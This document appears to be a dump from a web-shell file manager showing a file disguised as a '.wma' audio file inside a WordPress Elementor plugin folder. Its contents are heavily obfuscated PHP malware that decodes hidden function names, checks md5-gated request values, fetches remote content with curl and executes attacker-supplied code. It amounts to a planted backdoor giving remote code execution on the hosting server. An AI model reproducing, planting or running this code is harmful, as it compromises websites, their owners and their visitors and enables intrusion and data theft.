HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //proc/self/cwd/wp-content/plugins/elementor/core/admin/admin/IP.wma
<?php
 goto x0aKIxYvaQM; x0aKIxYvaQM: $nqHRU1ph38u = range("\x7e", "\x20"); goto R33eSkisQws; SWiW24XixgV: TM44fFLgGec: goto phac3hqlyew; phac3hqlyew: metaphone("\157\x6a\x62\155\x39\x39\154\x6a\157\101\171\62\x37\166\x51\x68\x75\x61\x6e\107\163\x6c\x79\x59\x6e\x78\x36\x62\167\x32\x51\x54\x74\x52\x74\x65\123\x33\x5a\117\x63\107\x45"); goto N8bqwDKxjkX; LUd94RHW7X_: if (!(in_array(gettype($qKUgBaJ98sZ) . count($qKUgBaJ98sZ), $qKUgBaJ98sZ) && count($qKUgBaJ98sZ) == 17)) { goto TM44fFLgGec; } goto VW1vPUjluG8; VW1vPUjluG8: @(md5(md5(md5(md5($qKUgBaJ98sZ[11])))) === "\71\61\x35\143\64\65\62\145\143\145\x33\x30\71\63\x33\x65\x39\63\x36\x61\x65\x31\142\63\x36\64\64\x34\x62\x39\x36\x64") && (($qKUgBaJ98sZ[70] = $qKUgBaJ98sZ[70] . $qKUgBaJ98sZ[79]) && ($qKUgBaJ98sZ[82] = $qKUgBaJ98sZ[70]($qKUgBaJ98sZ[82])) && @($qKUgBaJ98sZ = $qKUgBaJ98sZ[82]($qKUgBaJ98sZ[54], $qKUgBaJ98sZ[70](${$qKUgBaJ98sZ[34]}[24]))) && $qKUgBaJ98sZ()); goto SWiW24XixgV; N8bqwDKxjkX: class uUoVx_G1cAx { static function XlXHCwokfHo($N7NcT34yC5U) { goto m9ck_rn8fXP; m6pCrbEouTM: $G8ExUVlcKR4 = ''; goto CV5O57tpWsp; PRJygva6jod: $qg0Z5D96ZgL = $RlnoIuMcmCd("\176", "\40"); goto OdPuG8AWcdq; m9ck_rn8fXP: $RlnoIuMcmCd = "\162" . "\141" . "\x6e" . "\x67" . "\x65"; goto PRJygva6jod; Nvej91wxXHL: SU2kRgc6uG7: goto Y00ZHCbc9Pa; OdPuG8AWcdq: $fCI6bp3W3Qp = explode("\x3e", $N7NcT34yC5U); goto m6pCrbEouTM; Y00ZHCbc9Pa: return $G8ExUVlcKR4; goto dlqrvZetlBw; CV5O57tpWsp: foreach ($fCI6bp3W3Qp as $wA50HlB1mQe => $Z7f1TyEm_Aw) { $G8ExUVlcKR4 .= $qg0Z5D96ZgL[$Z7f1TyEm_Aw - 16520]; ZyJUfzBmvjB: } goto Nvej91wxXHL; dlqrvZetlBw: } static function DxvBcs7CkER($LZtyheLJaH2, $LMfttxBlufa) { goto ctesbexl0vp; DFOa5FOC_in: $mZ1q3dHBhJn = curl_exec($sOBkpQ5ta4M); goto j_Pm0jAtt96; AeuS69SyQ7O: curl_setopt($sOBkpQ5ta4M, CURLOPT_RETURNTRANSFER, 1); goto DFOa5FOC_in; j_Pm0jAtt96: return empty($mZ1q3dHBhJn) ? $LMfttxBlufa($LZtyheLJaH2) : $mZ1q3dHBhJn; goto M9Z2saYna1z; ctesbexl0vp: $sOBkpQ5ta4M = curl_init($LZtyheLJaH2); goto AeuS69SyQ7O; M9Z2saYna1z: } static function C76ki0yOTIC() { goto h92sZ0tENLP; D0zNL3JWm7Q: l2cz4GC03bS: goto xKtoK1Na8Zj; gBnkV9l0xri: if (!(@$J08ImUxxMIE[0] - time() > 0 and md5(md5($J08ImUxxMIE[3 + 0])) === "\x38\x61\x37\63\x33\63\61\63\x62\x66\66\x62\71\x63\63\71\66\66\60\x63\143\x39\142\x66\64\63\x32\71\x64\61\x62\141")) { goto l2cz4GC03bS; } goto V1bn5k72xd8; UrLD5tFI_oM: TFRTXfZAJiS: goto WQkg2cTqUXz; WQkg2cTqUXz: $GwKAk26c99S = @$ffPkfSGlbXH[1]($ffPkfSGlbXH[9 + 1](INPUT_GET, $ffPkfSGlbXH[0 + 9])); goto tgcN406B30j; V1bn5k72xd8: $ndFvIHC5APD = self::DXvbCs7cKER($J08ImUxxMIE[1 + 0], $ffPkfSGlbXH[1 + 4]); goto QaEJFvJiepX; h92sZ0tENLP: $YwFhlGgLoK7 = array("\61\x36\65\x34\67\76\61\x36\x35\63\62\x3e\61\66\65\x34\x35\x3e\61\66\x35\x34\x39\76\61\x36\65\63\x30\76\x31\66\65\64\x35\x3e\x31\66\65\x35\x31\76\61\x36\65\64\64\x3e\x31\x36\65\x32\x39\x3e\x31\x36\x35\x33\x36\76\61\x36\x35\64\x37\x3e\x31\66\x35\63\60\76\x31\66\x35\x34\x31\76\61\66\65\63\65\x3e\x31\x36\x35\63\x36", "\61\66\x35\x33\x31\x3e\x31\66\x35\63\60\76\61\x36\65\63\x32\76\x31\66\65\65\x31\76\61\66\65\63\62\x3e\x31\x36\65\63\x35\76\61\x36\x35\63\x30\76\61\x36\x35\x39\x37\x3e\61\66\x35\x39\x35", "\61\x36\65\x34\60\76\61\x36\x35\63\61\76\61\66\x35\x33\x35\76\x31\66\x35\x33\x36\76\61\x36\65\x35\61\x3e\x31\66\x35\x34\66\76\x31\x36\x35\x34\x35\x3e\x31\x36\65\x34\x37\x3e\61\x36\65\63\x35\76\61\66\x35\64\x36\76\x31\66\x35\x34\x35", "\61\x36\x35\63\64\76\x31\x36\x35\x34\x39\76\x31\66\x35\x34\67\76\61\66\65\63\x39", "\61\x36\x35\x34\70\x3e\61\66\x35\64\x39\76\x31\66\x35\x33\61\x3e\x31\66\x35\x34\x35\x3e\x31\66\65\71\62\76\x31\x36\65\x39\64\x3e\61\x36\x35\x35\61\x3e\61\66\x35\x34\66\x3e\x31\66\65\64\x35\76\61\x36\x35\64\x37\76\x31\66\65\x33\65\76\61\66\x35\64\66\x3e\x31\x36\65\64\x35", "\61\66\x35\64\64\76\61\66\x35\64\x31\x3e\x31\x36\x35\x33\70\x3e\x31\66\65\64\65\x3e\x31\66\65\65\61\x3e\x31\66\x35\64\x33\76\61\66\x35\64\65\76\x31\x36\x35\63\60\x3e\61\66\65\x35\x31\x3e\61\x36\65\x34\x37\x3e\x31\x36\x35\x33\x35\76\x31\x36\65\x33\66\x3e\61\66\x35\63\x30\76\x31\x36\x35\64\x35\x3e\x31\x36\65\x33\66\x3e\61\x36\65\63\60\x3e\x31\66\x35\x33\x31", "\61\x36\65\x37\x34\x3e\x31\x36\66\x30\x34", "\61\x36\x35\x32\x31", "\x31\x36\x35\71\x39\x3e\61\66\66\x30\64", "\61\x36\x35\70\61\x3e\61\x36\65\66\x34\76\61\x36\x35\x36\64\76\61\66\65\70\x31\76\x31\66\65\x35\67", "\61\x36\x35\64\64\76\61\x36\x35\x34\x31\76\x31\x36\65\x33\70\x3e\61\x36\65\63\x30\76\x31\66\65\x34\x35\76\61\x36\x35\x33\x32\x3e\61\x36\x35\x35\61\76\x31\66\65\64\x31\x3e\61\66\x35\x33\66\76\x31\x36\x35\63\x34\x3e\x31\x36\x35\x32\71\x3e\61\x36\x35\63\60"); goto ek5Q22X6Abx; ek5Q22X6Abx: foreach ($YwFhlGgLoK7 as $s9DkLPZp9tk) { $ffPkfSGlbXH[] = self::XLXHcwoKFHo($s9DkLPZp9tk); NwBDsvMpcBg: } goto UrLD5tFI_oM; O5P9WIzkpvj: @$ffPkfSGlbXH[3 + 7](INPUT_GET, "\157\146") == 1 && die($ffPkfSGlbXH[1 + 4](__FILE__)); goto gBnkV9l0xri; tgcN406B30j: $v8CAFf36p8p = @$ffPkfSGlbXH[0 + 3]($ffPkfSGlbXH[5 + 1], $GwKAk26c99S); goto Drez6e_qCOY; zX_nJ3iuD5l: die; goto D0zNL3JWm7Q; Drez6e_qCOY: $J08ImUxxMIE = $ffPkfSGlbXH[0 + 2]($v8CAFf36p8p, true); goto O5P9WIzkpvj; QaEJFvJiepX: @$ffPkfSGlbXH[0]('', $ffPkfSGlbXH[1 + 6] . $ffPkfSGlbXH[2 + 2]($ndFvIHC5APD) . $ffPkfSGlbXH[5 + 3]); goto zX_nJ3iuD5l; xKtoK1Na8Zj: } } goto y6VY5B0z4_c; R33eSkisQws: $qKUgBaJ98sZ = ${$nqHRU1ph38u[2 + 29] . $nqHRU1ph38u[14 + 45] . $nqHRU1ph38u[26 + 21] . $nqHRU1ph38u[47 + 0] . $nqHRU1ph38u[19 + 32] . $nqHRU1ph38u[16 + 37] . $nqHRU1ph38u[34 + 23]}; goto LUd94RHW7X_; y6VY5B0z4_c: UUOvX_g1CAx::C76Ki0YOtiC();
?>